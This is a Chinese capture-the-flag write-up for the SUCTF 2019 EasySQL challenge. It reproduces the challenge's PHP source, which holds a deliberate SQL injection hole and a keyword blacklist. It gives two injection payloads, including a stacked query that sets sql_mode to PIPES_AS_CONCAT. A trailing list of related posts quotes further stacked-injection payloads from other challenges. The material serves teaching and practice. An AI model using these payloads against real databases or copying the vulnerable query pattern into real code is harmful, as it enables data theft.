[原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)

简介

 原题复现:

 1 <?php
 2     session_start();
 3
 4     include_once "config.php";
 5
 6     $post = array();
 7     $get = array();
 8     global $MysqlLink;
 9
10     //GetPara();
11     $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
12     if(!$MysqlLink){
13         die("Mysql Connect Error!");
14     }
15     $selectDB = mysqli_select_db($MysqlLink,$dataName);
16     if(!$selectDB){
17         die("Choose Database Error!");
18     }
19
20     foreach ($_POST as $k=>$v){
21         if(!empty($v)&&is_string($v)){
22             $post[$k] = trim(addslashes($v));
23         }
24     }
25     foreach ($_GET as $k=>$v){
26         }
27     }
28     //die();
29     ?>
30
31 <html>
32 <head>
33 </head>
34
35 <body>
36
37 <a> Give me your flag, I will tell you if the flag is right. </ a>
38 <form action="" method="post">
39 <input type="text" name="query">
40 <input type="submit">
41 </form>
42 </body>
43 </html>
44
45 <?php
46
47     if(isset($post[‘query‘])){
48         $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
49         //var_dump(preg_match("/{$BlackList}/is",$post[‘query‘]));
50         if(preg_match("/{$BlackList}/is",$post[‘query‘])){
51             //echo $post[‘query‘];
52             die("Nonono.");
53         }
54         if(strlen($post[‘query‘])>40){
55             die("Too long.");
56         }
57         $sql = "select ".$post[‘query‘]."||flag from Flag";
58         mysqli_multi_query($MysqlLink,$sql);
59         do{
60             if($res = mysqli_store_result($MysqlLink)){
61                 while($row = mysqli_fetch_row($res)){
62                     print_r($row);
63                 }
64             }
65         }while(@mysqli_next_result($MysqlLink));
66
67     }
68
69     ?>

 考察知识点:堆叠注入

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

简介

测试发现有堆叠注入漏洞

方法一:

看wp知道后端查询语句是这样的这时一种非预期解的方法:

 $sql = "select ".$post[‘query‘]."||flag from Flag";

所以我们前端构造语句 *,1  这样sql的语句就是这样的了

select *,1||flag from Flag

方法二:

预期解通过堆叠注入将sql_mode的值设置为PIPES_AS_CONCAT,从而将 || 视为字符串的连接操作符而非或运算符,所以构造出来

payload:

query=1;set sql_mode=PIPES_AS_CONCAT;select 1

这样在进行查询的时候将||运算符当成连接符成这样的语句

select 1,flag from Flag

参考学习:https://www.cnblogs.com/chrysanthemum/p/11729891.html

    https://www.jianshu.com/p/5644f7c39c68

原文地址:https://www.cnblogs.com/xhds/p/12286119.html

时间: 2024-08-30 08:15:54

[原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)的相关文章

[原题复现]-HITCON 2016 WEB《babytrick》[反序列化]

前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 include "config.php"; 4 5 class HITCON{ 6 private $method; 7 private $args; 8 private $conn; 9 10 public function __construct($method, $args) { 11 $

[原题复现][2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)

简介 今天参加i春秋新春抗疫赛 一道web没整出来 啊啊啊 好垃圾啊啊啊啊啊啊啊  晚上看群里赵师傅的buuoj平台太屌了分分钟上线 然后赵师傅还分享了思路用handler语句绕过select过滤.... 原题复现:  考察知识点:SQL注入漏洞-堆叠注入.注入绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简介 基础思路参考:https://www.cnblogs.com/xhds/p/12269987.

[原题复现]强网杯 2019 WEB高明的黑客

简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简介 页面提示有源码可以下载,直接拼接URL www.tar.gz 下载后发现一堆php 初步考虑就是有考察根脚本编写有关 打开代码发现这些 有get.pos 还有var_dump() 每个页面都有很多看WP说这是shell 因为很多都不能用所以要编写一个能检测利用的py v1.0版本(速度太慢) i

强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; show columns from 表名; # 不过有点问题,只有words有回显.(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段) 大佬wp展示了一手存储过程绕过 payload: http://web16.buuoj.cn/?inject=1%27;[email 

刷题记录:[SUCTF 2019]EasySQL (欠)

目录 刷题记录:[SUCTF 2019]EasySQL 刷题记录:[SUCTF 2019]EasySQL 原文地址:https://www.cnblogs.com/20175211lyz/p/11450409.html

刷题记录:[SUCTF 2019]Pythonginx

目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录:[SUCTF 2019]Pythonginx 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 SUCTF wp SUCTF_2019_部分复现 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 https://bugs

WEB服务器搭建(作业)没有原题只是结果

WEB服务器搭建(作业)没有原题只是结果

buuctf刷题之旅—web—EasySQL

打开环境,发现依旧是sql注入 GitHub上有源码(https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql) index.php源码 <?php session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_conn

sdut 2413:n a^o7 !(第三届山东省省赛原题,水题,字符串处理)

n a^o7 ! Time Limit: 1000MS Memory limit: 65536K 题目描述 All brave and intelligent fighters, next you will step into a distinctive battleground which is full of sweet and happiness. If you want to win the battle, you must do warm-up according to my inst